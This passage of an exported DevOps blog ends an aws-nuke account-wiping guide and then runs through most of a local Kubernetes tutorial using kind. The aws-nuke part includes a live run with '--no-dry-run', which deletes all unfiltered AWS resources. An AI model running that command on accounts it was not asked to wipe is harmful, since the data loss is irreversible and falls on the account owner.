#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003evalue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eIAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"presets\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhen you run this you should see now the resources we want to keep are filtered\nout:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiltered\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eby\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce you are ready and have your filters in place you can run it for real!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws-nuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke.yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--no-dry-run\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eNext steps\u003c/h1\u003e\n\u003cp\u003eOne final note about it is that it does not understand the relationship between\nresources and so it could try deleting an EBS volume that is still in use by an\nEC2 instance.  There isn't a great solution for this outside of running nuke a\nfew times.\u003c/p\u003e\n\u003cp\u003eThe tool is well documented and so you can find the rest of information going to\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003ehttps://github.com/rebuy-de/aws-nuke\u003c/a\u003e!\u003c/p\u003e","category":"AWS","date":"2023-06-21T19:00:00-05:00","tags":["AWS","DevOps","SRE"],"title":"Wiping an AWS Account with aws-nuke"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kuberetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters while having the flexibility to use all\nthe features of kubernetes success as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnsuring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePreparing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📦\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eWriting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📜\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStarting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🕹️\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCNI\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🔌\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStorageClass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e💾\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enow\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyour\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster-info\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--context\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003equestion,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebug,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efeature\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequest?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eknow!\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ek\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em26s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMMAND\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:59327\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you'll notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eextraPortMappings\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehostPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eprotocol\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: 